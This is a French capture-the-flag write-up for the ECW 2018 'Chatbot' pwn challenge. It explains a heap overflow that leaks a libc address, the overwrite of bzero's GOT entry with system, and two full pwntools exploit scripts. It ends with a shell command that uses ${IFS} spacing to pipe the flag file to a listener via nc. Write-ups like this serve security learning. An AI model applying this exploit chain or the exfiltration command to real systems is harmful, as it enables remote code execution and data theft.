ECW Quals 2018 - Chatbot (Reverse - 150)

 

Tristement, ce challenge était le seul chall de pwn disponible lors des qualifications de l'ECW 2018. D'un niveau intermédiaire il fut plutôt sympa et Ô grande surprise aucun skills en guessing n'était requis !

 

 Franchement je sais plus mais c'était pas utile.

 chatbot : ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, for GNU/Linux 2.6.32, not stripped

 libc-2.23.so : ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, for GNU/Linux 2.6.32, stripped 

 libpthread-2.23.so : ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, for GNU/Linux 2.6.32, not stripped 

 

Memory Leak

Le binaire est un simple serveur TCP qui écoute sur le port 22000, attendant une connexion. Une fois connecté on peut envoyer quelques commandes au bot dont les réponses sont prédéfinies.

 

Aucune entrée utilisateur n'est renvoyée à un moment donné, ça ne sera donc surement pas une string format. Continuons de faire mumuse avec ce gentil bot.

 

switch :: ~/CTF/ecw18/re_chatbox » nc 0 22000
Chatbot v1.0.0!
$ (Anonymous) trump
$ (Chatbot) I don't like speaking about humorists
$ (Anonymous) bretagne
$ (Chatbot) It's raining, today
$ (Anonymous) nickname
Please enter a nickname:switch
$ (switch) botname
Please enter a nickname:zeubi
$ (switch) dating
$ (zeubi) I am not single, we cannot dating
$ (switch) exit

 

Ahh friendzone par un bot c'est moyen, j'ai en premier essayé d'envoyer un %s et %x en tant que nickname et botname mais rien. La seule interaction que nous avons avec le serveur se situe à ce niveau allons creuser de ce coté avec IDA.

 

 

Dans la fonction connection_handler on alloue dans la heap 4 bytes qui vont être utilisés pour stocker l'adresse d'un autre buffer de 0xA (10 bytes).

 

On fait la même chose pour un second buffer puis on appel la fonction change_user_nickname qui va se charger via un call à memcpy de remplir ces buffers avec le nickname et botname par défaut. 

 

void* change_user_nickname(int a1, char *s, const char *a3)
{
  size_t v3; // eax

  v3 = strlen(a3);
  return memcpy(*(void **)s, a3, v3 + 1);
}

 

change_user_nickname une fois désassemblée montre que le premier argument contient un pointeur sur un buffer dans lequel sera écrit l'argument 2.

 

En mémoire cela ressemble à ça, on voit que 0xf7400470 (v24) contient un pointeur vers 0xf7400480 qui lui contient "Anonymous". Plus loin v25 contient l'adresse vers le buffer contenant "Chatbot".

 

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             [heap]                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Addr username |                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    Anonymous    |                                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Addr malloc  |                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   Chatbot   |                                                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             [heap]                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

 

 

On voit tout de suite que si la fonction qui nous permet de changer le nickname n'est pas sécurisé il nous sera alors possible de réécrire v25 ainsi que le buffer de chatbot !

 

Spoiler, elle n'est pas sécurisée. Le but va être de leaker une adresse via la GOT, en leakant cette adresse cela nous permet d'identifier la version de la libc sur le serveur et via un tool comme libc-database.

 

Une fois la libc identifiée nous pourrons alors trouver l'offset de la fonction system car malgré l'ASLR les offsets ne changent pas. Ainsi il nous suffira de calculer l'adresse de base de la libc (également via le leak de malloc) puis d'y ajouter l'offset pour atteindre system !

 

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             [heap]                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Addr username |                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Addr malloc  |                    Garbage                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            Garbage                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             [heap]                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

 

On va ainsi écraser v25 et y mettre à la place l'adresse de malloc dans la GOT. Ainsi lors de l'affichage du botname ça sera l'adresse réelle de malloc qui sera affichée. Pour récupérer l'adresse de malloc dans la GOT :

 

gdb-peda$ info func malloc@plt
All functions matching regular expression "malloc@plt":

Non-debugging symbols:
0x08048750  malloc@plt
0xf7fd9820  malloc@plt
0xf7f8e600  malloc@plt
gdb-peda$ disass 0x08048750
Dump of assembler code for function malloc@plt:
   0x08048750 <+0>:     jmp    DWORD PTR ds:0x804c034
   0x08048756 <+6>:     push   0x50
   0x0804875b <+11>:    jmp    0x80486a0
End of assembler dump.
gdb-peda$ x/xw 0x804c034
0x804c034:      0xf7e44b30
gdb-peda$

 

On écrire alors rapidement notre exploit w/ pwntools !

 

from pwn import *
from re import findall
import struct

malloc = 0x804c034


p = remote("0", 22000)
#p = remote("54.36.205.82", 22000)

p.sendline("nickname")
payload = "A" * 16 + p32(malloc)
p.sendline(payload)
print p.readline()
print p.readline()
print p.readline()
print p.readline()
p.sendline("DUMMY") # to trigger bot answer
print p.readline()
data = p.readline()
print data.encode("hex")

malloc_addr = struct.unpack("<I", findall(r"\((.*)\)", data)[0][:4])[0]
print hex(malloc_addr)

 

[+] Opening connection to 0 on port 22000: Done
Chatbot v1.0.0!

\x00

$ (\x00Anonymous\x00) \x00

Please enter a nickname:\x00

$ (\x00AAAAAAAAAAAAAAAA5?\x00) \x00

242028004be4f7f01ae5f790b1def720c9e1f74090f9f7b014f1f7f0b9ebf7b019f1f7309fe4f7d0bbebf7d0bfebf76005f9f71688040800292000536f7272792c204920646f6e2774206b6e6f77207768617420746f207361792061626f75742074686174000a
0xf7e44b30

 

Nous récupérons donc bien l'adresse résolue de malloc (si vous regardez bien c'est la même que trouvée avec GDB).

 

Trouvons la libc

Une libc était fournie mais je n'arrivais pas à l'utiliser (segfault) j'ai donc décider de faire sans ce qui était possible grâce au leak!

 

En utilisant le même payload sur le serveur on obtient une autre adresse (logique), on va la passer dans libc-database qui va nous dire à quelle version nous avons à faire.

 

parenthèse, en essayant ce payload sur le serveur je ne recevais rien en réponse. c'était certainement dû à un null byte dans l'adresse de malloc. Pour palier à cela j'ai juste augmenter l'adresse de malloc de 1 puis rajouter le null byte à la fin !

 

switch :: ~/Tools/Exploit/libc-database » ./find malloc 0x70200
ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)
# seul les derniers bytes suffisent, les premiers étant aléatoires 

switch :: ~/Tools/Exploit/libc-database » ./dump libc6-i386_2.23-0ubuntu10_amd64
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003a940
offset_dup2 = 0x000d4b50
offset_read = 0x000d4350
offset_write = 0x000d43c0
offset_str_bin_sh = 0x15902b

 

L'offset de system est donc 0x3a940, nous pouvons donc continuer notre payload.

Réécriture de BZERO

Mon idée était de trouver une fonction que je pourrais remplacer par system, pour cela cette fonction devait répondre à certaines conditions :

 

  • Etre appelée après sa réécriture, donc être dans la boucle principale
  • Avoir en premier argument un pointeur sur un buffer que je contrôle.

 

bzero est donc toute trouvée car elle se trouve dans cette boucle et contient le buffer accueillant notre commande à la destination du serveur !

 

 

Le payload prend donc la forme suivante :

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             nickname\n            |    sh;    |                        A*13                       |   Addr bzero  |           botname\n           |  Addr system  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

[ Résultat au sein de la heap ]


+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             [heap]                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Addr username |                    Nothing                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    sh;AAAAAAAAAAAAAAAAAAAAAAAAA               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Addr bzero   |                    Garbage                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            Garbage                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             [heap]                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

 

  1. On demande à changer de nickname pour pouvoir overwrite ce que l'on veut
  2. On met sh; en début de buffer car lors de l'appel à system (anciennement bzero) c'est le contenu du buffer de nickname qui lui sera passé.
  3. Un peu de padding pour pouvoir atteindre l'adresse qui sera le premier argument de memcpy c'est à dire l'adresse du buffer de botname.
  4. On met l'adresse à laquelle on veut réécrire quelque chose donc ici l'adresse de bzero.
  5. On demande à changer de botname pour pouvoir exécuter memcpy.
  6. Puis enfin ce que l'on veut écrire à cette adresse -> l'adresse de system

 

from pwn import *
from re import findall
import struct

bzero = 0x804c020
malloc = 0x804c035

# malloc_offset = 0x71b30
malloc_offset = 0x70200

# system_offset = 0x3ab40
system_offset = 0x3a940


p = remote("0", 22000)
#p = remote("54.36.205.82", 22000)

p.sendline("nickname")
payload = "A" * 16 + p32(malloc)
p.sendline(payload)
print p.readline()
print p.readline()
print p.readline()
print p.readline()
p.sendline("DUMMY") # to trigger bot answer
print p.readline()
data = p.readline()
print data.encode("hex")

malloc_addr = struct.unpack("<I", "\x30" + findall(r"\((.*)\)", data)[0][1:4])[0] # si null byte mais ici pas nécessaire car en local
libc_base = malloc_addr - malloc_offset # calcul de l'adresse
system_addr = libc_base + system_offset

log.success("malloc addr : {0}".format(hex(malloc_addr)))
log.success("libc base : {0}".format(hex(libc_base)))
log.success("system adr : {0}".format(hex(system_addr)))

p.sendline("nickname")
print p.readuntil("nickname:")
p.sendline("sh;" + "A" * 13 + p32(bzero))

p.sendline("botname")
print p.readuntil("nickname:")
p.sendline(p32(system_addr))
p.interactive()

 

Et paf un shell sur le serveur, cependant stdin et stdout ne nous sont pas renvoyés, il faut donc trouver un moyen de nous retourner le fichier flag (donné dans l'énoncé).

 

${IFS} permet de remplacer un espace en bash, les espaces étant parsés par le serveur !

 

cat${IFS}flag${IFS}|${IFS}nc${IFS}0${IFS}4444

 

 

 

Flag : 82a5c26fc7c60b8a0fe17e49b0e7265f61d5646d88a00ff6a2422e500026d5a0